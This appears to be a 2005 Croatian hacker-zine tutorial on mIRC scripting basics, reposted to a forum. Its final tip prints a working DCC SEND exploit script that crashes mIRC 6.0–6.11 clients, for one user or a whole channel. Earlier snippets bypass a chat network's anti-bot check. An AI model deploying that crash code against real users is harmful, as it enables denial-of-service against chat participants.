[ bananko @ 15.02.2005. 17:48 ] @
Code:
                            ...................
                      ...::: phearless zine #1 :::...                       

....................>---[ Mirc Scripting - Basics ]---<.....................

.........................>---[ by deztr0jah ]---<...........................

[---> Sadrzaj

      1.) Definicija IRC-a i mIRC-a
      2.) Uvod
      3.) Osnove, komande
      4.) Alias
      5.) Identifiers
      6.) Remote
      7.) Varijable
      8.) Razine "access levels"
      9.) Ctcp
     10.) Tips'n'tricks

////////////////////////////////////////////////////////////////////////////
--==<[ 1. Definicija IRC-a i mIRC-a
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

---< WTF is IRC?

IRC (Internet Relay Chat) je usluga u stvarnom vremenu: klijenti su spojeni 
na posluzitelj koji prosledjuje informacije medju njima, a ujedno komunicira 
s ostatkom mreze IRC posluzitelja. Tako IRC omogucuje razmjenu poruka u 
stvarnom vremenu za vise korisnika istodobno. (carnet.hr)

---< Dvije, tri o mIRC-u!

mIRC je program (client) koji se spaja na IRC servere. (www.mirc.com) 
Napravio ga je Khaled Mardam-Bey, prva verzija je izasla davne 95' godine. 
Struktura programa se nije bitno promjenila i dalje sluzi za chetanje, 
ali svaka nova verzija dovodi to novih naredba i sl. Postoje i drugi clienti: 
Pirch, Virc, Xchat...itd. 

////////////////////////////////////////////////////////////////////////////
--==<[ 2. Uvod
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

U ovom tutorialu cu cam pokusati objasniti uvod u mirc scripting. Krenut 
cu sa osnovama, a malo "teze" stvari ocekujte u "sljedecim javljanjima". 
Nije mi namjera objasnit sve komande, jer nemam vremena a ni nema bas smisla 
jer sve ljepo pise u helpu.

Pa da krenem, mIRC scripting sintaksa slicna je: Bash shell scriptama, 
JavaScripti, Perlu, C++ i Javi. Znaci ako se imalo razumijete u gore navedene 
jezike bice vam mnogo lakse nego "totalnim pocetnicima". Ma niti ne morate 
znati te jezike, samo treba svatiti sheme tipa "IF-THEN-ELSE,WHILE,IF..." 
tzv. uvjeti, malo mozganja i to je to.

Ne mislim ovdje opisivati kako se koristiti programom (opcenito), za to 
imate na (www.mirc.com) trudit cu se sto jednostavnije objasniti uvod u 
mIRC scripting.

E da i ima jos jedna stvar, sve skripte/snippete/addone koje cu vam objasniti 
su pisane na mIRC-u verzije 6.16, znaci nemojte ih testirat na nizim verzijama 
da nebi doslo do problema.

////////////////////////////////////////////////////////////////////////////
--==<[ 3. Osnove, komande
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Najbolji tutorial o mircu je help, u njemu sve pise, da bi ga otvorili 
kucajte "/help" Valjda je jasno da nemogu ovdje objasniti sve komande jer 
ih je previse. mIRC se sastoji od nekoliko elemenata, navazniji su su: 
ALIAS,POPUP,REMOTE.

Alias
=====
Ja ih zovem skracenice, i u taj meni ulazite sa ALT + R pa na [Alias]
One se pozivaju sa "/IMEaliasa" (Bitan je slash "/", inace to se moze podesiti 
u neki drugi simbol ali ne preporucujujem to) Ovo cu samo jednom spomenuti 
jer mi je glupo ponavljati!

#############################################

Primjer (n00bz):

/z /msg # Traper terminator!

Znaci kada kucas "/z" ti pises na kanal (na kojem si aktivan) 
"Traper terminator!"

#############################################

Primjer (malo tezi):

/k /kick # $$1 $2-
 | |     |  |   |______ Razlog
 | |     |  |
 | |     |  |__________ Nick koji se kika
 | |     |  
 | |     |_____________ Ime kanala
 | |
 | |___________________ Naredba koji skracenica koristi
 |
 |_____________________ Ime Skracenice

#############################################

To znaci kad bi na nekom kanalu zelio kikat nekog idiota moro bi pisat 
"/kick #imekanala nicknejm RAZLOG" , a kad naredbu imas u aliasu to izgleda 
ovako "/k nicknejm RAZLOG".

Remote
======
Najvaznije, tu se vecinom pise glavni kod. Jezgra skriptinga (ALT + R [Remote]). 
U njemu mozete pisati aliase, variable,popupe, mozete i "custom Identifiers" 
tipa "$reddevil" ali o tome cemo kasnije.

Popups
======
To su prozori koje dobivate kad klikcete desni gumb misa (u njih ulazite 
sa ALT + R [Popups]). Znaci recimo ako ste na kanalu i kliknete desni gumb 
dobijate popis komandi, isto vrijedi ako kliknete na usera dobijate komande 
(kick,op,voice,ban...itd). Znaci postoje prozori za : STATUS,KANAL,QUERY, 
NICKLIST, MENU BAR

Primjer jednog prozora, znaci kad sam na [Popups] tamo idete gore na VIEW i 
birate za koji shemu ocete. Ja cu za NickList:

#############################################

DCC
; DCC je naziv novog korijena
.Send:/dcc send $$1
; Ova tocka ispred Send znaci da je podgrupa DCC-a, a ovo poslije ":/" je 
; komanade koja salje fajl.
.Chat:/dcc chat $$1
; Ista stvar kao i prije, samo je komanda koja sluzi ca DCC Chat
-
; - to znaci da krenete u novi korijen
Slap!:/me slaps $$1 around a bit with a large trout
; Sad nema tocke jer naredba "Slap!" nema podnaredbe.

O popup-ovima ne mislim detaljnije objasnjavat, jer ih ne smatram jako vaznim, 
ako vas zanima detaljnije u mircu kucajte "/help Popup Menus"

#############################################

Komentari u mIRC-u
==================

U mIRCu mozete pisati komentari na dva nacina:

Prvi Nacin sa ";":
==================

;
; Komentar
;
Scripta ispod

#############################################

a krivi je ako stavite u alias "/z /echo -a Insane in Brain ; komentar" jer 
komentari moraju biti u praznom redu. 

#############################################

Tocno bi bilo: 
; Brain insane
/z /echo -a Insane in Brain

#############################################

Drugi Nacin je sa /* */:
========================

/* Ovo je moja skripta, koja mi mjeri velicinu penisa
   Nekad laze, ali nema veze
*/

alias /p /echo -a Hohohoh, velicina je vazna.

#############################################

U nastavku cu komentare pisati sa ";".

Loudanje skripti u mIRC-u
=========================
/load -a <filename>      Louda     Alias File
/load -pc <filename>         Chanel Popups File
/load -pn <filename>         Nicklist Popup file.
/load -rs <filename>         Remote file.
/load -ru <filename>         Users file.
/load -rv <filename>         Variables file.

Moja preporuka je da ne loadate svaku skriptu koji naidjete, jer ih puno 
zna imati backdoor i neke viruse. Koristite provjerene.

Unlodanje se radi slicno, znaci /unload -rs <filename> za Remote file, 
valjda ste skuzili kako bi bilo za druge vrste filea.

Osnovne komande na IRC-u
========================
/join #pesticid <Joinas se na kanal #pesticid.>
/part #pesticid <Odlazis sa kanala #pesticid.>
/msg #pesticid/nick Ovdje ide poruka <Saljes poruku na kanal/nick.>
/notice #pesticid/nick Ovdje ide notice <Saljes notice na kanal/nick.>
/whois nickname <Dobivas informacije o nicku (na kojim je kanalima, 
 realname, idletime...).>
/topic #pesticid Bananko banana, moja je hrana <Stavlja novi topic na #pesticid.>
/mode #pesticid +o Mrmlj <Dava @ (op) Mrmlj-u na #pesticid.>
/mode #pesticid +b Mrmlj <Davas ban Mrmlju na kanalu #pesticid.>
/kick #pesticid Mrmlj <Kicka Mrmlj-a sa #pesticid.>
/hop #pesticid <ReJoinas se na kanal #pesticid.>
/ignore Mrmlj <Dodajes Mrmlj-a na ignore listu.>
/invite Sladoledac #pesticid <Pozivas Sladoledac-a na kanal #pesticid (ako imas @).>
/quit Noge mi smrde <Odlazis sa irca sa porukom "Noge mi smrde".>
/me is off <* deztr0jah is off.> 

////////////////////////////////////////////////////////////////////////////
--==<[ 4. Alias - "/help aliases"
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Sad i ubuduce kad cu vam nesto objasnjavati, napisat cu vam na pocetku 
naredbu za mircov help jer je u njemu detaljnije i kvalitetnije opisano. 
Znaci za alias pisete "/help aliases"

Prvo cu objasniti razliku kako da pisete alias u REMOTEu a kako u ALIASu. 
Znaci ako se alias nalazi u [REMOTEU] on mora izgledati ovako 
"alias imealiasa /komanda", a kad je alias u [ALIAS] podrucju onda samo kucate 
"imealiasa /komanda" bez onog "alias" na pocetku.

#############################################

; Evo sada cu objasniti kako da napravite prvi alias koji ce kada kucate 
; /zz ispisuje "Jebote kolko vas ima".

; Znaci odite u REMOTE [ALT +R [REMOTE]] (Zadnji put govorim to) i upisite:

;START
alias zz /msg # Jebote kolko vas ima
;END


; I sad kad ste na kanalu kucajte "/zz" i ako vam je doso zeljenji text 
; onda ste uspjeli napraviti svoj prvi alias.

#############################################

; A sad krenimo na nesto malo zanimljivije, recimo da trebate napisati 
; "Dobro dosli na kanal #Diznilend <imenicka>" 

; START
alias /z1 /msg # Dobro dosli na kanal #Diznilend $1
; END

; Sad ste primjetili da smo koristili  "$1" i  "#" - To su Identifiers 
; # - Ime kanala na kojem si (TO NE MORAS PISAT)
; $1 - To je prva rijec nakon sto si ukuco "/z1 *"
;
;
;
; Znaci kad smo na kanalu kucamo "/z1 <imenicka>" i dobijamo "Dobro dosli 
; na kanal #Diznilend <imenicka>"
; Koristili smo $1 znaci da ce samo uzeti prvi rijec nakon "z1" u obzir. 
; Recimo da bi napisali "/z1 <imenika> <josnekarjec> ..."
; Morali bi koristiti "$1-" to znaci da bi on napiso uzeo u obzir prvu 
; i sve poslije prve rjeci.

#############################################

; Recimo da zelim napisati nesto tipa ovako nesto: "Hey Majmune , preferiras 
; <nesto> ili <nestodrugo>"

;START
alias /z2 /msg # Hey Majmune , preferiras $1 ili $2
;END

; znaci u kanalu kucate: "/z2 Plavuse Crnke" i dobija se: Hey Majmune, 
; dali volis Plavuse ili Crnke

#############################################

; Alias moze biti pisan u vise redova,

;START
alias gringo {
msg # sad cu da promjenim topic
;javljam ljudima da cu promjeniti topic
topic # $1- 
;mjenjam topic
}
;END

; Znaci sad samo kucam /gringo <TOPIC>. 

#############################################

Recimo kad se zelite joinati na vise kanala, mozete jednostavo preko 
aliasa podesiti: 
"/porn join #MasterXXXPasswords | join #XxXCrackerS | join #xxxpassword"

Primjetjeli ste da mogu vise komandi pisat u jednom redu, ali sam ih 
odvojijo sa "|".

Nadam se da ste skuzili osnove aliasa.

////////////////////////////////////////////////////////////////////////////
--==<[ 5. Identifiers - "/help identifiers" 
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Oni su vrlo vazni za mirc scripting, to su definirane vrijednosti koje 
mirc razumije, ali mozes praviti i svoje. Ako zelis ispisati ident moras 
koristiti "//" double slash. Znaci npr. //echo -a Moja ip adresa je: $ip". 
To samo vrijedi ako zelish ispisati preko EditBox-a, ako su u REMOTEu onda 
radi sa 1 slashom.

Krenimo malo dalje. Ajmo recimo napraviti kalkulator:
"//echo -a 5 + 10 = $calc(5+10)" 
Trebao bi doci tocan rezultat.

Lista najcescih identifiera:
============================
$1 ispisuje prvi parmetar.
$2 ispisuje drugi pramtar.
$1- ispisuje prvi parmetar i one poslije njega.
$3- ispisuje treci parmetar i one poslije njega.
$2-5 ispisuje drugi parmetar i one do petog.
$time ispisuje vrijeme.
$fulldate ispisuje datum.
$day ispisuje dan.
$mircdir ispisuje mircov direktorij.
$mircexe ispisuje mircov direktorij + filenejm.
$lines(banana.txt) ispisuje broj redova i fajlo koji se zove "banana.txt".
$read(banana.txt,10) cita deseti red, u fajlu "banana.txt".
$me ispisuje tvoj nick.
$nick ispisuje nick koji je napravio neki "dogadaj" kasnije o tome.
$snicks ispisuje selektirani nick u nicklistu.
$asc(Z) ispisuje ASCII kod za slovo z.
$chr(65) ispisuje slovo za ASCII kod 65)
$len(ja sam mali prgavac) ispisuje broj slova u textu 
"ja sam mali prgavac" u obzir uzima i razmak.
$rand(1,9) ispisuje random broj od 1 - 9 , ako zelite povecati $rand(1-9999...).
$rand(a,z) ispisuje random slovo od a - z.
$upper(text malim slovima) ispisuje text velikim slovima.
$network ispisuje mrezu na kojoj ste konektani.
$server ispisuje server na kojoj ste konektani.
$ip ispisuje IP adresu.
$os ispisuje koji OS koristite. Windowsi su sigurno, ali razlika je u 
nastavku XP,98. Znaci ako sam na XP i kucam "//echo -a $os" ispisat ce samo XP.
$version ista stvar kao i kod $os-a, samo vrijedi za mIRC.
$chan ispisuje aktivni kanal (isto vrijedi i za #)


Custom Identifiers
==================
To su vrijednosti koje su napravili skripteri, znaci ti. Njih nema 
u helpfileu jer su home-made. 

#############################################

; Evo jedan mali primjeric:

; START
alias /z3 /return Ti si jedan narkomane $1 , a ti $2 si pedofil.
; END

; kucate //echo -a $z3(Zoki,Ivica) , trebali bi dobit: Ti si jedan 
narkoman Zoki , a ti Ivica si pedofil. 

#############################################

; Ima jos primjera, evo jedan koristan. Recimo da treba izracunti 
; povrsinu pravokutnog trokuta;

; START
alias /z4 /return Povrsina trokuta je $calc($1 * $2 / 2) cm2
alias /z5 echo -a $z4($1 , $2)
; END

; Napravio sam 2 aliasa, jedan u kojem je definiran identifier, a drugi 
; koji poziva prvog. Mogli smo bez toga, ali ce ; pocetnicima biti lakse. 
; Kucaj: "/z5 <prva stranica> <druga stranica>" , a mogli smo i 
; "//echo -a ; $z4(<prvastranica>,<drugastranica>)"

; Kad kucate "/z5 10 5" -  trebali bi dobit: Povrsina trokuta je 25 cm2

#############################################

To bi bilo ukratko to.

////////////////////////////////////////////////////////////////////////////
--==<[ 6. Remote - "/help remote"
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Kao sto sam vec prije spomenuo, remote je "glavni" dio mirc scriptinga. 
U njemu se mogu pisati aliasi, variable , popupovi koji ce pojednostavniti 
vasu skriptu i tj. da nebi bilo puno grananja.

Svi dogadjaji se nalaze u helpu, bilo bi preopsirno da opisem sve dogadjaje.

Osnovni izgled REMOTE-a
=======================

ON <razina>:<dogadjaj>:<komanda>

Znaci, da bi se izvrsila <komanda> treba onaj koji radi <dogadjaj> biti na 
<razini> kojoj ste odredili. O Razinama vise kasnije. Ja vecinom koristim 
"*" kao razinu znaci komanda vrijedi za sve usere, inace za razine je "*" 
isto kao i "1".

#############################################

; Evo jedan primjer u Remoteu.

on *:JOIN:#:/msg # De si $nick dobro dosao na #
      |
      |
; Na kojim sve kanalima vrijedi taj dogadjaj, kad je samo # onda znaci na
; svim, da bi odredili
; neki poseban onda bi ih odvajali zarezem #banana,#hobotnica,#burek 
; (znaci onda bi taj dogadjaj vrijedio samo na ta 3 kanala, ostalim ne).

; Znaci ova scripta ce poslati poruku na kanal: "De si <nickname> dobro 
; dosao na <imekanala>".

#############################################

; Evo jedan kod zahvale koji me jako iritira.

on *:OP:#:{ if ($opnick == $me) { msg # Hvala za op $nick } }

; Ovdje smo postavili i uvjet, $opnick == $me - to znaci dali sam ja nick 
; koji je opan, da nismo to stavili ispisivali bi zahvali za svaki op koji 
; bi se desio na kanalu.

#############################################

; Primjer koji razbija zastitu na Krstarici.

on *:NOTICE:*:?:{ if (*msg $me $+ * iswm $1-) { .msg $me $3 } }

; Znaci kada se konektate na krstaricu dobijete poruku tipa:

; -Pricaonica- Rutinska kontrola :) Molimo Vas da otkucate:
; -Pricaonica- ************************************************************
; -Pricaonica- /msg deztr0jah 3052290048
; -Pricaonica- ************************************************************

; E sad, ja sam postavio uvjet: ako se poruka "/msg mojnick" nalazi 
; u noticeu koji mi netko salje onda neka automtski pise 
; "/msg mojnik broj".

#############################################

;Evo jedan snippet koji se bori portiv spama:

; ----- START
;
; deztr0jah krew - spam protection snippet
; deztr0jah.distored.net
;

on *:JOIN:#:{ if ($nick == $me) {
    .timerSPAM 1 10 .disable #antispam
    .enable #antispam
  }
}

; Ovo gore je timer, koji ukljucije grupu #antispam (vrijedi samo kada 
; si se ti joino na kanal), i traje 10 sekundi.

#antispam off
on *:text:*:?:{ if (*http:* iswm $1-) || (*www.* iswm $1-) {
    .notice $nick ANTI-SPAM, you are ignored DickHead. 
    close -m $nick
    .ignore $address($nick,2)
    echo -as 4 $+ $nick $+  spam me, the fool is 4ignored!
  }
}
#antispam end

; U grupi (antispam) su uvjeti: kada dobivate poruku koja sadrzava 
; http: ili www. ignorira spammera!
; Bitna fora je ta, da smo koristili timer koji je trajao 10 sekundi, 
; znaci radi na principu ON JOIN poruki koje 
; spameri najcesce koriste. Da nismo koristili grupe, onda bi ignoralo 
; recimo prijatelja s kojim si razgovarao i
; i koji ti je rekao neki link.

; ---- END

#############################################

////////////////////////////////////////////////////////////////////////////
--==<[ 7. Varijable - "/help Variables" 
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Varijable su oni podaci koje zelite da mirc pamti, koji se kasnije koriste. 

Imamo dvije vrste varijabli:     a) opce
                b) lokalne

Izgled varijable: %imevarijable podatak
Primjetili ste da ispred varijable stoji znak "%"

=============
Opce variable
=============
Na pocetku cu vam objasniti rad s varijablama!

Dodavanje varijabli
===================
Komanda preko koje se varijable prave: /set [-snzuN] <%var> [vrijednost]

-uN -     varijabla se brise nakon N sekundi, ako stavimo 0 onda
        se brise kada skripta zavrsi.
-z  -    smanjuje varijablu i kada dodje do 0 obrise ju.
-n  -    varijabla se tretira kao plain text.
-s  -     prikazuje da se varijabla umetnula, dobro za debugg-anje.


Brisanje varijabli
==================
A ovdje je komanda preko koje se brisu: /unset [-s] <%var>

Podrzava i brisanje preko wildcardova, znaci imate dvije varijable: 
%email.sender i %email.smtp i ako zelite sve sto pocinje sa %email* 
obrisat kucate "/unset %email.*" i gledate kako varijable nestaju.

Ako bi zeljeli obrisati sve varijable jednostavno kucajte: "/unsetall"


Povecavanje vrijednosti
=======================
TIP: Ako recimo povecavate neku varijablu: "/inc %man_utd_rulez" onda ce 
se povecati za 1,to znaci da varijabla u sebi moze imati vrijednost, ali 
ste vi povecali bez zadane vrijednosti.

Recimo da bi htjeli povecati za 100 onda kucajte "/inc %man_utd_rulez 100" 
i onda bi vrijedost bio 101

/inc [-cszuN] <%var> [vrijednost]

-uN -     varijabla se povecava jedanput i brise se nakon N sekundu.
-c  -    povecava varijablu za vrijednost 1 svaku sekundu.
-z  -    smanjuje varijablu, i kad dodje do 0 onda je brise.

Smanjivanje vrijednosti
=======================
Sve je isto kao i kod povecavanja, samo komanda izlgeda: 
/dec [-cszuN] <%var> [value]


Lokalne varijable
~~~~~~~~~~~~~~~~~
Znaci razlika izmedju Lokalnih i Opcih varijabli je u tome, sto lokalna 
postoji samo periodu trajanja skripte i moze citati samo u skripti. Ona 
se pravi /var komandom.

    /var %z = packeting with 56k microsoft.com

Znaci napravio si varijablu %z, i nju neces vidjeti u VARIABLES list. 
Ajde vidim da ne kuzite, pa cu napisati jedan primjer.

#############################################
; Primer mass mode snippet
; Radi na princip "/modes +o" za massovni op, a ako bi bio "-o" onda za 
; mass deop, kombinacija ima puno (+v,+h...) :).

alias modes {
  var %num = $nick(#,0)
  var %i = 0
  while (%i <= %num) { 
    if ($nick(#,%i) != $me) { mode # $1 $nick(#,%i) }
    inc %i
  }
}

; Znaci vidite da sam koristio lokalnu varijablu %num u koju sam smjestio 
; ukupan broj useri na kanalu.
; Varijablu %i sam stavio da je jednaka 0.
; I postavio sam uvjet sve dok je %i manji od %num, da vrsi promjenu modova.
; I na kraju sam stavio da se varijabla povecava za 1.
; Ovo sam sve mogao s opcim varijablama, ali nema smisla jer vrijednosti
; nisu bitne, i promjenjive su
#############################################

Primjeri koristenja varijabli:
==============================

Skoro sam zaboravio reci da kad ispisujete varijable na kanal, znaci rucno a 
ne preko skripti morate da koristite "//" tzv. dobule slash.

#############################################
; Recimo ako ste papaq i trazite curu preko irca :) ovo ce vam dobro doci.
; Znaci cura vas pita a/s/l (to znaci age sex location btw.) i neda vam se 
; cijelo vrijeme pisat isto jednostavno kucate:

set %asl Imam 18 godina, Muskarac sam (Hvala bogu) iz Hrvatske sam.

; Sada ste pohranili te podatke u varijablu "%asl"

I ako zelite ispisati a/s/l morate kucati "//say %asl"

; Mozete ispisivat vise varijabli odjednom

set %mrmlj1 Banana
set %mrmlj2 Bananko
set %mrmlj3 Hrana

; Ispisivali bi sa

//say %mrmlj2 %mrmlj1 moja je %mrmlj3 

; Sto rezultira: "Bananko Banana moja je Hrana"
;
; Jos samo jedan primjer koji ce nam sluziti za identificiranje kod nickserva 
; (mogli smo staviti u perfom, ali onda nebi objasnio varijable)
;

set %nickservpass pesticid0505

; Znaci sada u alias stavimo /n /msg nickserv identify %nickservpass
; i komandu zovemo sa /n
#############################################

Evo tolko o varijablama.

////////////////////////////////////////////////////////////////////////////
--==<[ 8. Razine "Access Levels" - "/help Access Levels"|
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Ovdje cu konacno objasniti sto su to razine, do sada smo koristili (*) sto 
znaci da se odnosilo na sve usere, ovi leveli se najcesce koriste kad se 
rade mirc botovi, black liste, op liste, idiot liste, pesticid liste 
(masta je jebena)...Pa da krenemo, u razine dolazimo sa ALT + R [ USERS ] 
i osnovni oblik izgleda ovako:

    <razina>:<nick>!<ident>@<ip/addresa>

    Primjer: 
    3:[email protected]
    |
    |_ Znaci ovo je razina 3

Level mozemo dodati sa command linije "/auser <level> <nick|address>"
Razina ne treba biti samo broj, moze biti i rjec.

Leveli mogu biti u obliku:

3:[email protected]  ; znaci nick1 ima access razini 3, ali 
                             ; mora imat ident "pwned" i ip "156.106.48.89"

3:nick2!*@*                 ; nick2 isto ima access na razini 3, ali 
                             ; za identifikaciju koristi samo nick (LOSE)

3:nick3!*@22.109.143.156     ; nick3 za identifikaciju koristi nick i addressu

2,3:nick4!*@*             ; nick4 se idntificiro razinu 2 i 3 koriteci samo nick

2:[email protected] 
; ovo je samo demonstracija da vidite kako smo jaki u rukometu

#############################################
; Ajmo da sad objasnim primjer ovoga:

on 3:text:!op:#: { if ($nick != $me) { mode # +o $nick } } 

; Znaci kada user koji je na razini 3 kuca !op, dobi op :), znaci 
; mozete napraviti svoga bota sa puno funkcija.
; Koristite mastu!

; Mozemo i na drugi nacin:

on *:text:!op:#: { if ($nick == deztr0jah) { mode # +o $nick } }
#############################################

Jednostavna blacklista scripta, ovdje sam dodao umjesto broja, rjec!

"/auser black Ivica25"
    |
    |____ Ime razine

; Doda Ivicu25 na userlist (preporucam da dodate 
; adressu, a ne samo nick da nebi bilo lame pokusaja)

on black:JOIN:#:{ mode # +b $address($nick,2) | kick # $nick Blacklisted }

; Znaci kada se netko joina,i addresa mu je jednaka onoj koju smo dodali 
; na razinu "black" popusi kick/ban.

////////////////////////////////////////////////////////////////////////////
--==<[ 9) CTCP ---> "/help Ctcp Events"|
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Ctcp znaci "Client to Client Protocol" znaci radnja se odvija 
direktno, a ne preko irc servera.

Osnovni oblik ctcp-a u remoteu:

ctcp <razina>:<text_na_koji_reagira>:<*|#|?>:<komande>
* - Reagira na kanale i privatno.
# - Reagira samo na kanale.
? - Reagira samo na private.

Primjeri:

#############################################

ctcp *:TIME:?:msg $nick Kupi si sat, majmune | halt

; Znaci ako bi nam netko poslao CTCP TIME, dobio poruku 
; "Kupi si sat, majmune!"


; Spoofanje version replaya 

ctcp *:VERSION:*:ctcpreply $nick VERSION Ja korsitim pjirc | halt

; Znaci ovdje smo koristili naredbu "ctcpreply" to znaci da odgovorimo 
; na njegov CTCP upit.
;
; [deztr0jah VERSION]
; [deztr0jah VERSION reply]: mIRC v6.16 Khaled Mardam-Bey
; [deztr0jah VERSION reply]: deztr0jah krew (www.distored.net)
;
; Ako bi zeljeli 100% spoof (da nebi bilo ovoga mIRC v6.16...) potreban 
; vam je DLL ili HEX editor.
;
; Ja sam napravio version replayer koji koristi DLL, mozete ga skinuti sa:
; (http://www.deztr0jah.distored....nload.php?file=fakeversion.zip)

#############################################

Tolko o CTCP-u.

////////////////////////////////////////////////////////////////////////////
--==<[ 10. Tips'n'tricks 
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

1) Po stoti puta, u mircovom help fileu ima skoro sve o mirc scriptingu, ako 
   negdi zapnete "/help"

2) Mnogo skripteri koriste "/" slasheve u remoteu, to je nepotrebno:

   Nepravilno:     alias bong {    /say i am bongzilla
                /say i love to smoke pot
            }

   Pravilno:    alias bong {    say i am bongzilla
                say i love to smoke pot
            }

   Slasheve koristite samo kad pisete u command boxu

3) Koristite "tockice", znaci kada imate neku komandu u perfomu ili remoteu i 
   koja igleda tipa "msg nickserv identify zagzag" bolje je da ju pisete sa tockom 
   ispred ".msg nickserv identify zagzag" jer je onda nece biti u status prozoru, 
   tj. sakrit cete ju. Mozete vecinu toga pisati preko tockica ".set %var password" itd.

4) Ne koristite "|" da biste odvajali redove:

   Nepravilno: alias mama { say ja sam mama | say a ti si tata | say a on je budala }

   Pravilno: alias mama { say ja sam mama
              say a ti si tata
              say a on je budala }

   Zbog preglednosti i ispravljanja gresaka "debuginga".

5) Kada stisnete About Dugme kliknite na autorov nos i trebali bi cuti neki zvukic :)


6) Nikad ne koristite %varijable za podesavanje, sa njima nikad niste sigurni. 
   Umjesto njih koristite *.ini fajlove :) *.ini su zakon.

7) Koristite /while loop-ove umjesto kombinacije "if" i "goto", jednostavniji su za 
   pisanje, a i kod lepse izgleda. Budite pazljivi kod postavljanja parametara, da 
   ne uletite u tzv. "endless loop".

8) Kad pisete svoj addon/snippet stavite uvjek na pocetak %varijabli vase ime, ili ime 
   addona (pr. %ch1zra.awaynick ili %ch1zra.enablefllodpro) tako da ne moze da dodje 
   do mesanja sa varijablama drugih scripti, a i prilikom unloada se odradi jednostavan 
   /unset %ch1zra* i to je to.

9) U remote eventima, nikad ne koristite "On 1:" uvek koristite "on *:". 
   Brze je, i aktiviraju ih korisnici svih levela.

10) Kad pisete addon, UVJEK koristite $scriptdir umesto $mircdir-a.

11) Nikad nemojte da koristite /halt u aliasima, koristite /return. 
    /halt koristite iskljucivo u eventima.

12) Koristite $color(). Nemaju svi istu pozadinu kao vi;]

13) Kad radite sa fajlovima (/run,loadbuf...) uvek "obavijte" putanju navodnicima !! 
    (da biste sprecili "no such file" ako putanja sadrzi razmake.)
       primer za loadovanje :

       //load -rs " $+ $findfile($mircdir,IME.EXTENZIJA,1) $+ "

14) Koristite dynamic popupove kad god mozete.

15) Nikad ne rippujte !!  Po pitanju ripp-a cu citirati GrimZ-a :

; --- Script Ripping ---

#1 Ripp-ovanje iskazuje vise vremena nego sto biste proveli da napisete sami svoj kod.

#2 Mejsavina vise stilova koda i tehnika scriptinga se veoma lako primjeti, cak i od strane 
   polupristojnih scriptera, tako da ste osudjeni na propast ako ripp-ujete.

Tuzno je sto ljudi moraju da ripp-uju, umjesto sto ne nauce. Al ipak, ako vas neko ripp-uje, 
primite to kao kompliment, jer neko ocigledno misli da se bog scriptinga ako krade vas kod.

; --- Script Ripping ---

Naravno da treba skidati adone dobrih scriptera, i uciti iz njihovog koda, 
ali bez ripp-a... napisite svoje na osnovu  naucenog, umesto da samo odradite copy/paste;]

16) I za kraj jedan mali explojtic (Samo za edukaciju)

mIRC DCC explojt ubija mIRC verzije (6.0-6.11) ide u remote:
============================================================
;
; * DCC eXploit * lame
; Coded by UnDeaD with mIRC 6.16
;
; Visit our playground ( www.deztr0jah.tk - deztr0jah.distored.net )

; Thanx to SnuG@Undernet for help

; Greetz goes to my friends
;
; Rusite ljude sa naredbom /dez.kill <imenicka> a imate i massuser crash!
;

alias dez.killall {
  if ($nick(#,0) <= 1) { echo 4 -a *** [deztr0jah] - This channel is empty | halt }
  echo 4 -a *** [deztr0jah] - Killing mIRC users on  $+ # $+  (Only kill mIRC 6.0-6.11) - If user have DCC ignore [on], you cant kill him, dont change channel when killing.
  set %dez.num 1
  :zag
  set %dez.targ $nick(#,%dez.num)
  if (%dez.targ == $null) { goto end }
  if (%dez.targ != $me) { /.timerDEZ $+ %dez.num 1 $calc(5 * %dez.num + 2) /raw -q privmsg %dez.targ : $+ $chr(1) $+ DCC SEND " $+ $str( $+ $rand(a,z) $+ $chr(32),165) $+ " $longip(127.0.0.1) $rand(113,9999) $+ $chr(1) }
  inc %dez.num 1 | goto zag
  :end
  unset %dez.num %dez.targ
}

alias dez.kill {
  echo 4 -a *** [deztr0jah] - Killing  $+ $1 $+  (Only kill mIRC 6.0-6.11) - If $1 have DCC ignore [on], you cant kill him
  raw -q privmsg $1 : $+ $chr(1) $+ DCC SEND " $+ $str( $+ $rand(a,z) $+ $chr(32),165) $+ " $longip(127.0.0.1) $rand(113,9999) $+ $chr(1)
}

menu channel {
  kill.all biatchs:dez.killall
}

menu nicklist,query {
  kill $1:dez.kill $1
}


; End of File

...........................................................

Ako imate pitanja slobodno me pitajte:
http://www.deztr0jah.distored.net | http://www.deztr0jah.tk

...........................................................